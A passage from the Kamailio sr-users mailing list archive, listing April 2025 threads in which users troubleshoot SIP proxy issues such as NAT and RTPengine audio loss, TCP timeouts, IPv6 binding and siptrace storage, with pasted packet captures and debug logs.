telephone-event/8000 a=fmtp:101 0-16 a=ssrc:1567952351 cname:73284f1717045a81 a=ice-ufrag:37e51dc0 a=ice-pwd:49f7442b5078148140877b44 a=candidate:Hc0a80174 1 UDP 2130706431 192.168.1.116 4032 typ host a=candidate:Hc0a80174 2 UDP 2130706430 192.168.1.116 4017 typ host 2025/04/13 15:58:33.430593 192.168.1.75:5060 -> 2.8x.xx.xxx:59396 SIP/2.0 100 trying -- your call is important to us Via: SIP/2.0/UDP 192.168.1.116:59396;rport=59396;branch=z9hG4bKPj14c6f24b814e4d158014cc80b1fa5f8f;received=2.8x.xx.xxx From: "6001" <sip:6005@192.168.1.75:5060>;tag=0397d2bdc3ef47f5b6e498126a360b0f To: <sip:100@192.168.1.75:5060> Call-ID: 83a804569c3f489088607c729485cdbd CSeq: 8964 INVITE Server: kamailio (5.7.4 (x86_64/linux)) Content-Length: 0 2025/04/13 15:58:33.461894 192.168.1.75:5060 -> 192.168.1.190:32210 INVITE sip:100@192.168.1.75 SIP/2.0 Via: SIP/2.0/UDP 62.2x.2xx.xxx:5060;branch=z9hG4bK3362.72f5db87deeeccee7fea924753af3da0.0 Via: SIP/2.0/UDP 192.168.1.116:59396;received=2.8x.xx.xxx;rport=59396;branch=z9hG4bKPj14c6f24b814e4d158014cc80b1fa5f8f Max-Forwards: 69 From: "6001" <sip:6005@192.168.1.75:5060>;tag=0397d2bdc3ef47f5b6e498126a360b0f To: <sip:100@192.168.1.75:5060> Contact: "6001" <sip:6005@2.8x.xx.xxx:59396;ob>;+sip.ice Call-ID: 83a804569c3f489088607c729485cdbd CSeq: 8964 INVITE Allow: PRACK, INVITE, ACK, BYE, CANCEL, UPDATE, INFO, SUBSCRIBE, NOTIFY, REFER, MESSAGE, OPTIONS Supported: replaces, 100rel, timer, norefersub Session-Expires: 1800 Min-SE: 90 User-Agent: MicroSIP/3.21.5 Authorization: Digest username="6005", realm="asterisk", nonce="1744559913/dab8894e3f31e038d7a969a6349a11c2", uri="sip:100@62.2x.2xx.xxx", response="2ce500d6a1583f05f6344bdf1f712fc7", algorithm=MD5, cnonce="808fc766135d40589dd68032bcaab5c6", opaque="2232aa9c42080f12", qop=auth, nc=00000001 Content-Type: application/sdp Content-Length: 322 v=0 o=- 3953552313 3953552313 IN IP4 192.168.1.75 s=pjmedia b=AS:84 t=0 0 a=X-nat:0 m=audio 12156 RTP/AVP 8 0 101 c=IN IP4 192.168.1.75 b=TIAS:64000 a=ssrc:1567952351 cname:73284f1717045a81 a=rtpmap:8 PCMA/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-16 a=sendrecv a=rtcp:12157 Please Help me, Thank you.

4 8

TCP timeout
by Pyry Aaltonen 11 Apr '25

11 Apr '25

Hello, I´ve googled around about tcp timeout in kamailio tcp connections when the tcp connection is broken. Found this old question and to me it feels like I’m having that same situation as original question https://www.mail-archive.com/sr-users@lists.kamailio.org/msg15020.html Also found this https://kamailio.org/mailman3/hyperkitty/list/sr-dev@lists.kamailio.org/thr… and it seems to be the same description pretty much that I´m seeing. When the tcp connection (or tls) is interrupted in the network it takes around 15min for kamailio to reset the outgoing tcp connection. I see in the logs that when restarting kamailio process it logs 2025-03-27 12:25:18.697 { "level": "INFO", "module": "core", "file": "core/tcp_main.c", "line": 3282, "function": "tcp_init", "logprefix": "", "message": "Set TCP_USER_TIMEOUT=10000 ms" } So I think the fix from this https://github.com/kamailio/kamailio/commit/d893f3af1444c8c4c5db6cd53fb5777… is applied. This is tested with 5.8.5 and I have tested this by setting up with dispatcher tcp connection to external host Then with iptables drop traffic to that host, waiting kamailio to notice that destination is down, removing the iptables input and it takes around 15min to recover. (also restarting the kamailio helps and resolves the connection) And this is what kamailio prints during the test: Apr 4 08:29:15 kamailio[156947]: { "level": "ERROR", "module": "xlog", "file": "xlog.c", "line": 278, "function": "", "logprefix": "", "message": "Destination down: OPTIONS sip:ext-host;transport=tcp (<null>)" } Apr 4 08:44:43 kamailio[156957]: { "level": "ERROR", "module": "core", "file": "core/tcp_read.c", "line": 267, "function": "tcp_read_data", "logprefix": "", "message": "error reading: Connection timed out (110) ([]:5060 -> []:47492)" } Apr 4 08:44:43 kamailio[156957]: { "level": "ERROR", "module": "core", "file": "core/tcp_read.c", "line": 1524, "function": "tcp_read_req", "logprefix": "", "message": "error reading - c: 0x7f8625dea9b0 r: 0x7f8625deaad8 (-1)" } Apr 4 08:45:05 kamailio[156957]: { "level": "ERROR", "module": "xlog", "file": "xlog.c", "line": 278, "function": "", "logprefix": "Source:[ext-host]:5060, Call-id:4d0e1ccd315c817f-156947@int-host, CSeq:10", "message": "Destination up: OPTIONS sip:ext.host;transport=tcp (<null>)" } Any advice how to lower the timeout to be quicker in such event? -Pyry

5 6

leave
by Mihail D. 11 Apr '25

11 Apr '25

leave

1 0

STUN Server vs. NAT Configuration with Kamailio + RTPengine Setup
by Fernando Lopes 11 Apr '25

11 Apr '25

Previous Thread: https://kamailio.org/mailman3/hyperkitty/list/sr-users@lists.kamailio.org/t… Hello everyone, Should I use a STUN server, or can I just configure NAT properly? Here’s my current setup: arduino Copy Edit Router (NAT device) ↓ Kamailio + RTPengine machine ↓ Virtual machine running Kubernetes ↓ Asterisk container Kamailio and RTPengine are sitting behind the NAT (the router), and they handle SIP and media. Do I need a STUN server in this case, or can I manage everything with NAT configuration alone? And what is the better approach? Any insights or best practices would be appreciated! Thank you.

2 1

IPv6 bind wrong IP. #4199
by vunm.allsign＠gmail.com 11 Apr '25

11 Apr '25

Hi guys, I opened issue on github: https://github.com/kamailio/kamailio/issues/4199 - Description: Kamailio (5.8.x): SIP proxy FreeSWITCH: Media - OS: Debian 12 gateway: aaaa:bbb:cccc:20::1 ipv6: aaaa:bbb:cccc:20::41e - kamailio.cfg: #!define ADDR_IPV4 xxx.xxx.xxx.xxx #!define ADDR_IPV6 [aaaa:bbb:cccc:20::41e] listen=ADDR_IPV4 listen=ADDR_IPV6 - I execute netstat -nlutp: tcp6 0 0 aaaa:bbb:cccc:20:::5060 :::* LISTEN 1691274/kamailio tcp6 0 0 aaaa:bbb:cccc:20:::5061 :::* LISTEN 1691274/kamailio udp6 0 0 aaaa:bbb:cccc:20:::5060 :::* 1691222/kamailio Why I set listen ip is aaaa:bbb:cccc:20::41e but kamailio stripped the last part of the address aaaa:bbb:cccc:20:: I have tried many ways but it does not work.Is there any additional configuration required regarding the Debian network interface? - Here is interfaces(of course i can ping from/to ipv6 address): # Additional interfaces, just in case we're using # multiple networks allow-hotplug eth1 iface eth1 inet6 static address aaaa:bbb:cccc:20::41e netmask 64 gateway aaaa:bbb:cccc:20::1 autoconf 0 Thank you.

2 1

Load multiple geoip2 databases (City + ASN)
by Joel Serrano 10 Apr '25

10 Apr '25

Hi guys, Is there a way to have multiple geoip2 databases loaded into Kamailio and then point the geoip2_match to them? If I understand correctly the docs I can only load one: https://www.kamailio.org/docs/modules/6.0.x/modules/geoip2.html#geoip2.p.pa… Is my assumption correct? Thanks, Joel.

3 5

Kamailio + RTP Engine question
by fernandolopes20003＠gmail.com 08 Apr '25

08 Apr '25

Hi everyone, I'm experiencing some issues with Kamailio and RTP Engine. Here's the setup: A user initiates a call, and the traffic goes through a router. The router forwards the traffic to a machine at 192.168.1.75, which runs Kamailio and RTP Engine. Kamailio uses a dispatcher to forward calls to 192.168.1.190, a Kubernetes node running an Asterisk container. The problem: When I'm inside the network, everything works fine — I can send and receive audio. But when I'm outside the network, the call connects, but there's no audio in either direction (no send or receive). Some Configs: Kamailio.conf: modparam("rtpengine", "rtpengine_sock", "udp:0.0.0.0:2223") listen=udp:192.168.1.75:5060 listen=tcp:192.168.1.75:5060 listen=udp:127.0.0.1:5060 # ----- dispatcher params ----- modparam("dispatcher", "list_file", "/etc/kamailio/dispatcher.list") modparam("dispatcher", "flags", 2) modparam("dispatcher", "xavp_dst", "_dsdst_") modparam("dispatcher", "xavp_ctx", "_dsctx_") modparam("dispatcher", "ds_ping_from", "sip:proxy@kamailio.org") modparam("dispatcher", "ds_ping_interval", 60) modparam("dispatcher", "ds_probing_mode", 1) modparam("dispatcher", "ds_timer_mode", 1) rtpengine.conf: interface = 192.168.1.75 listen-udp = 0.0.0.0:2223 port-min = 10000 port-max = 20000 Firewall: To Action From -- ------ ---- 22 ALLOW Anywhere 12222/udp ALLOW Anywhere 5060/udp ALLOW Anywhere 10000:20000/udp ALLOW Anywhere 22 (v6) ALLOW Anywhere (v6) 12222/udp (v6) ALLOW Anywhere (v6) 5060/udp (v6) ALLOW Anywhere (v6) 10000:20000/udp (v6) ALLOW Anywhere (v6) Also router has all this ports open Thank you.

5 6

Question: Kamailio + Rtpengine + NAT
by Fernando Lopes 08 Apr '25

08 Apr '25

Previous Thread: https://kamailio.org/mailman3/hyperkitty/list/sr-users@lists.kamailio.org/t… I've followed some suggestions and got to check sip packets and got this. Change some configs, but couldn't get any NAT configuration to work, hoping to get a new opinion if it still, maybe it is a problem with NAT or maybe another thing. #-------------------------------------------------------------------------------------------------------# #-------------------------------------------------------------------------------------------------------# Called from "outside" and my microsip doesn't have STUN Server on. 2025/04/08 12:19:06.747644 2.81.7x.1xx:59562 -> 192.168.1.75:5060 INVITE sip:100@192.168.1.75:5060 SIP/2.0 Via: SIP/2.0/UDP 2.81.7x.1xx:59562;rport;branch=z9hG4bKPj19931b6928594c3b90ba976acb74cd02 Max-Forwards: 70 From: "6002" <sip:6002@192.168.1.75:5060>;tag=7d887491eae24520b8b205a7dcdf569d To: <sip:100@192.168.1.75:5060> Contact: <sip:6002@2.81.7x.1xx:59562;ob>;+sip.ice Call-ID: fa30f64e6adb4b7e9719084b9d34b5b6 CSeq: 8949 INVITE Allow: PRACK, INVITE, ACK, BYE, CANCEL, UPDATE, INFO, SUBSCRIBE, NOTIFY, REFER, MESSAGE, OPTIONS Supported: replaces, 100rel, timer, norefersub Session-Expires: 1800 Min-SE: 90 User-Agent: MicroSIP/3.21.5 Content-Type: application/sdp Content-Length: 536 v=0 o=- 3953107147 3953107147 IN IP4 192.168.1.116 s=pjmedia b=AS:84 t=0 0 a=X-nat:0 m=audio 4030 RTP/AVP 8 0 101 c=IN IP4 192.168.1.116 b=TIAS:64000 a=rtcp:4029 IN IP4 192.168.1.116 a=sendrecv a=rtpmap:8 PCMA/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-16 a=ssrc:371808528 cname:7dd13e4d736d4043 a=ice-ufrag:69525f90 a=ice-pwd:16496df15af141bb26e901eb a=candidate:Hc0a80174 1 UDP 2130706431 192.168.1.116 4030 typ host a=candidate:Hc0a80174 2 UDP 2130706430 192.168.1.116 4029 typ host #-------------------------------------------------------------------------------------------------------# #-------------------------------------------------------------------------------------------------------# With STUN Server On -- Also get Register but still can't get any audio 2025/04/08 12:18:26.032585 2.81.7x.1xx:57124 -> 192.168.1.75:5060 INVITE sip:100@192.168.1.75:5060 SIP/2.0 Via: SIP/2.0/UDP 2.81.7x.1xx:57124;rport;branch=z9hG4bKPjaf3ec8e03d52425eb67708c7e61457b1 Max-Forwards: 70 From: "6002" <sip:6002@192.168.1.75:5060>;tag=10bf4ad8533a4a45b478c900cb3242b1 To: <sip:100@192.168.1.75:5060> Contact: "6002" <sip:6002@2.81.7x.1xx:57124;ob>;+sip.ice Call-ID: 1e3dea0a3d2f4954b4232c624d37c9d8 CSeq: 7501 INVITE Allow: PRACK, INVITE, ACK, BYE, CANCEL, UPDATE, INFO, SUBSCRIBE, NOTIFY, REFER, MESSAGE, OPTIONS Supported: replaces, 100rel, timer, norefersub Session-Expires: 1800 Min-SE: 90 User-Agent: MicroSIP/3.21.5 Content-Type: application/sdp Content-Length: 726 v=0 o=- 3953107106 3953107106 IN IP4 2.81.7x.1xx s=pjmedia b=AS:84 t=0 0 a=X-nat:1 m=audio 4033 RTP/AVP 8 0 101 c=IN IP4 2.81.7x.1xx b=TIAS:64000 a=rtcp:4035 IN IP4 2.81.7x.1xx a=sendrecv a=rtpmap:8 PCMA/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-16 a=ssrc:803428650 cname:24b959022cf70edd a=ice-ufrag:072851d1 a=ice-pwd:10d96c6c6ea14c665c5e6d4e a=candidate:Sc0a80174 1 UDP 1862270975 2.81.7x.1xx 4033 typ srflx raddr 192.168.1.116 rport 4033 a=candidate:Hc0a80174 1 UDP 1694498815 192.168.1.116 4033 typ host a=candidate:Sc0a80174 2 UDP 1862270974 2.81.7x.1xx 4035 typ srflx raddr 192.168.1.116 rport 4035 a=candidate:Hc0a80174 2 UDP 1694498814 192.168.1.116 4035 typ host Thank you Very much.

1 0

Question: Kamailio + Rtpengine + NAT
by Fernando Lopes 08 Apr '25

08 Apr '25

Previous Thread: https://kamailio.org/mailman3/hyperkitty/list/sr-users@lists.kamailio.org/t… I've followed some suggestions and got to check sip packets and got this. Change some configs, but couldn't get any NAT configuration to work, hoping to get a new opinion if it still, maybe it is a problem with NAT or maybe another thing. #-------------------------------------------------------------------------------------------------------# #-------------------------------------------------------------------------------------------------------# Called from "outside" and my microsip doesn't have STUN Server on. 2025/04/08 12:19:06.747644 2.81.7x.1xx:59562 -> 192.168.1.75:5060 INVITE sip:100@192.168.1.75:5060 SIP/2.0 Via: SIP/2.0/UDP 2.81.7x.1xx:59562;rport;branch=z9hG4bKPj19931b6928594c3b90ba976acb74cd02 Max-Forwards: 70 From: "6002" <sip:6002@192.168.1.75:5060>;tag=7d887491eae24520b8b205a7dcdf569d To: <sip:100@192.168.1.75:5060> Contact: <sip:6002@2.81.7x.1xx:59562;ob>;+sip.ice Call-ID: fa30f64e6adb4b7e9719084b9d34b5b6 CSeq: 8949 INVITE Allow: PRACK, INVITE, ACK, BYE, CANCEL, UPDATE, INFO, SUBSCRIBE, NOTIFY, REFER, MESSAGE, OPTIONS Supported: replaces, 100rel, timer, norefersub Session-Expires: 1800 Min-SE: 90 User-Agent: MicroSIP/3.21.5 Content-Type: application/sdp Content-Length: 536 v=0 o=- 3953107147 3953107147 IN IP4 192.168.1.116 s=pjmedia b=AS:84 t=0 0 a=X-nat:0 m=audio 4030 RTP/AVP 8 0 101 c=IN IP4 192.168.1.116 b=TIAS:64000 a=rtcp:4029 IN IP4 192.168.1.116 a=sendrecv a=rtpmap:8 PCMA/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-16 a=ssrc:371808528 cname:7dd13e4d736d4043 a=ice-ufrag:69525f90 a=ice-pwd:16496df15af141bb26e901eb a=candidate:Hc0a80174 1 UDP 2130706431 192.168.1.116 4030 typ host a=candidate:Hc0a80174 2 UDP 2130706430 192.168.1.116 4029 typ host #-------------------------------------------------------------------------------------------------------# #-------------------------------------------------------------------------------------------------------# With STUN Server On -- Also get Register but still can't get any audio 2025/04/08 12:18:26.032585 2.81.7x.1xx:57124 -> 192.168.1.75:5060 INVITE sip:100@192.168.1.75:5060 SIP/2.0 Via: SIP/2.0/UDP 2.81.7x.1xx:57124;rport;branch=z9hG4bKPjaf3ec8e03d52425eb67708c7e61457b1 Max-Forwards: 70 From: "6002" <sip:6002@192.168.1.75:5060>;tag=10bf4ad8533a4a45b478c900cb3242b1 To: <sip:100@192.168.1.75:5060> Contact: "6002" <sip:6002@2.81.7x.1xx:57124;ob>;+sip.ice Call-ID: 1e3dea0a3d2f4954b4232c624d37c9d8 CSeq: 7501 INVITE Allow: PRACK, INVITE, ACK, BYE, CANCEL, UPDATE, INFO, SUBSCRIBE, NOTIFY, REFER, MESSAGE, OPTIONS Supported: replaces, 100rel, timer, norefersub Session-Expires: 1800 Min-SE: 90 User-Agent: MicroSIP/3.21.5 Content-Type: application/sdp Content-Length: 726 v=0 o=- 3953107106 3953107106 IN IP4 2.81.7x.1xx s=pjmedia b=AS:84 t=0 0 a=X-nat:1 m=audio 4033 RTP/AVP 8 0 101 c=IN IP4 2.81.7x.1xx b=TIAS:64000 a=rtcp:4035 IN IP4 2.81.7x.1xx a=sendrecv a=rtpmap:8 PCMA/8000 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-16 a=ssrc:803428650 cname:24b959022cf70edd a=ice-ufrag:072851d1 a=ice-pwd:10d96c6c6ea14c665c5e6d4e a=candidate:Sc0a80174 1 UDP 1862270975 2.81.7x.1xx 4033 typ srflx raddr 192.168.1.116 rport 4033 a=candidate:Hc0a80174 1 UDP 1694498815 192.168.1.116 4033 typ host a=candidate:Sc0a80174 2 UDP 1862270974 2.81.7x.1xx 4035 typ srflx raddr 192.168.1.116 rport 4035 a=candidate:Hc0a80174 2 UDP 1694498814 192.168.1.116 4035 typ host Thank you Very much.

1 0

Info: Donating To Kamailio Project
by Daniel-Constantin Mierla 07 Apr '25

07 Apr '25

Hello! Over the years, there have been discussions about what options could be made available to donate to Kamailio project in order to support its required infrastructure, administrative or development of complex components. Creating a foundation or using a crowdfunding platform have been explored, trying to take in consideration the needed man power and overhead, the transparency and accountability. To move forward on this matter, the Kamailio management team has decided to use Open Collective, with the fiscal host Open Collective Europe, as the platform for accepting and managing donations, more details, including the link where donations can be made, are published at: - https://www.kamailio.org/w/donations/ The donations should target either the support of project administration or the development of new feature, therefore before donating it is recommend to email to <management [at] lists.kamailio.org> providing some details about the scope of your donation. We also plan to discuss about it at the next Kamailio World Conference: May 12-13, 2025, organized again in Berlin, Germany, where many developers and members of the management board and our community get together, being a good opportunity to clarify and decide how to use the donations. More details about the event at: - https://www.kamailioworld.com Thanks for flying Kamailio! Cheers, Daniel -- Daniel-Constantin Mierla (@ asipto.com) twitter.com/miconda -- linkedin.com/in/miconda Kamailio Consultancy, Training and Development Services -- asipto.com Kamailio World Conference, May 12-13, 2025, Berlin -- kamailioworld.com

1 0

How does drouting is_from_gw function works
by Samuel Moya Tinoco 02 Apr '25

02 Apr '25

Hi everyone, I'm trying to set my kamailio to route using is_from_gw function from drouting module. I'd like to know which SIP message headers does this function check in order to return true or false Thanks in advance for your help Samuel Moya Tinoco Departamento de Sistemas y Redes Móvil: (+34) 606985997 smoya(a)vivelibre.es<mailto:smoya@vivelibre.es> ViveLibre C/ La Orotava 4 28660 Boadilla del Monte Madrid www.vivelibre.es<http://www.vivelibre.es/> [cid:image001.png@01DBA3D9.AABD8760] Soluciones inteligentes para la autonomía personal

1 0

Kamailio.org -issue with loading page
by Michal Hajek 01 Apr '25

01 Apr '25

Hello, does anyone know why kamailio.org is so slow to load from the EU (e.g. CZ, DE) michalhajek@MacBook-Pro ~ % wget -T 10 -v https://kamailio.org/w/ --2025-04-01 16:56:22-- https://kamailio.org/w/ Resolving kamailio.org (kamailio.org)... 2a00:d60:0:400::2, 193.22.119.66 Connecting to kamailio.org (kamailio.org)|2a00:d60:0:400::2|:443... connected. Unable to establish SSL connection. I test from different places - MacOS, Linux, Windows Thanks Michal

4 3

SIPtrace store database failed
by 17603019528＠163.com 01 Apr '25

01 Apr '25

Hello, I want to store the siptrace dialog in the database，but it gives an error. Is the configuration method incorrect? Kamailio version: ``` version: kamailio 5.8.5 (x86_64/linux) flags: USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MMAP, PKG_MALLOC, MEM_JOIN_FREE, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLOCKLIST, HAVE_RESOLV_RES, TLS_PTHREAD_MUTEX_SHARED ADAPTIVE_WAIT_LOOPS 1024, MAX_RECV_BUFFER_SIZE 262144, MAX_SEND_BUFFER_SIZE 262144, MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB poll method support: poll, epoll_lt, epoll_et, sigio_rt, select. id: compiled on 11:51:23 Mar 31 2025 with gcc 4.8.5 ``` here is the log: ####### 8(3550) DEBUG: <core> [core/udp_server.c:731]: udp_rcv_loop(): probing packet received from 172.16.80.3 7935 2(3539) DEBUG: <core> [core/udp_server.c:708]: udp_rcv_loop(): received on udp socket: (106/100/956) [[INVITE sip:1002@172.16.4.113:5460 SIP/2.0 0D 0A Via: SIP/2.0/UDP 172.16.80.3:8798;branch=z9hG4bK-d87543-4]] 2(3539) DEBUG: <core> [core/receive.c:190]: ksr_evrt_received(): event route core:msg-received not defined 2(3539) DEBUG: <core> [core/parser/parse_fline.c:249]: parse_first_line(): first line type 1 (request) flags 1 2(3539) DEBUG: <core> [core/parser/msg_parser.c:722]: parse_msg(): SIP Request: 2(3539) DEBUG: <core> [core/parser/msg_parser.c:724]: parse_msg(): method: <INVITE> 2(3539) DEBUG: <core> [core/parser/msg_parser.c:726]: parse_msg(): uri: <sip:1002@172.16.4.113:5460> 2(3539) DEBUG: <core> [core/parser/msg_parser.c:728]: parse_msg(): version: <SIP/2.0> 2(3539) DEBUG: <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [Via] type 1 2(3539) DEBUG: <core> [core/parser/parse_via.c:1312]: parse_via_param(): Found param type 232, <branch> = <z9hG4bK-d87543-4f7e02083f709d16-1--d87543->; state=6 2(3539) DEBUG: <core> [core/parser/parse_via.c:1312]: parse_via_param(): Found param type 235, <rport> = <n/a>; state=17 2(3539) DEBUG: <core> [core/parser/parse_via.c:2663]: parse_via(): end of header reached, state=5 2(3539) DEBUG: <core> [core/parser/msg_parser.c:592]: parse_headers(): Via found, flags=2 2(3539) DEBUG: <core> [core/parser/msg_parser.c:594]: parse_headers(): this is the first via 2(3539) DEBUG: <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [Max-Forwards] type 8 2(3539) DEBUG: <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [Contact] type 7 2(3539) DEBUG: <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [To] type 3 2(3539) DEBUG: <core> [core/parser/parse_addr_spec.c:904]: parse_addr_spec(): end of header reached, state=10 2(3539) DEBUG: <core> [core/parser/msg_parser.c:173]: get_hdr_field(): <To> [36]; uri=[sip:1002@172.16.4.113:5460] 2(3539) DEBUG: <core> [core/parser/msg_parser.c:176]: get_hdr_field(): to body (36)["1002"<sip:1002@172.16.4.113:5460> ], to tag (0)[] 2(3539) DEBUG: <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [From] type 4 2(3539) DEBUG: <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [Call-ID] type 6 2(3539) DEBUG: <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [CSeq] type 5 2(3539) DEBUG: <core> [core/parser/msg_parser.c:154]: get_hdr_field(): cseq <CSeq>: <1> <INVITE> 2(3539) DEBUG: <core> [core/receive.c:397]: receive_msg(): --- received sip message - request - call-id: [NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.] - cseq: [1 INVITE] 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/receive.c:263]: ksr_evrt_pre_routing(): event route core:pre-routing not defined 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/receive.c:474]: receive_msg(): preparing to run routing scripts... 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=596 a=26 n=xlog 2(3539) INFO: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <script>: 172.16.80.3:8798|172.16.4.113:5460|udp|INVITE 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=605 a=5 n=route 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=707 a=67 n=set_rpl_no_connect 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=710 a=55 n=force_rport 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=735 a=16 n=if 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [Allow] type 21 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [Content-Type] type 11 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [User-Agent] type 28 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=740 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=735 a=25 n=mf_process_maxfwd_header 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| maxfwd [mf_funcs.c:74]: is_maxfwd_present(): value = 70 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=745 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=740 a=25 n=is_method 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=749 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=745 a=26 n=sanity_check 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:254]: check_ruri_sip_version(): check_ruri_sip_version entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:278]: check_ruri_sip_version(): check_ruri_sip_version passed 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:286]: check_ruri_scheme(): check_ruri_scheme entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:305]: check_ruri_scheme(): check_ruri_scheme passed 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:327]: check_required_headers(): check_required_headers entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [Content-Length] type 12 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/msg_parser.c:187]: get_hdr_field(): content_length=417 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/msg_parser.c:91]: get_hdr_field(): found end of header 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:350]: check_required_headers(): check_required_headers passed 2(3539) DEBUG: 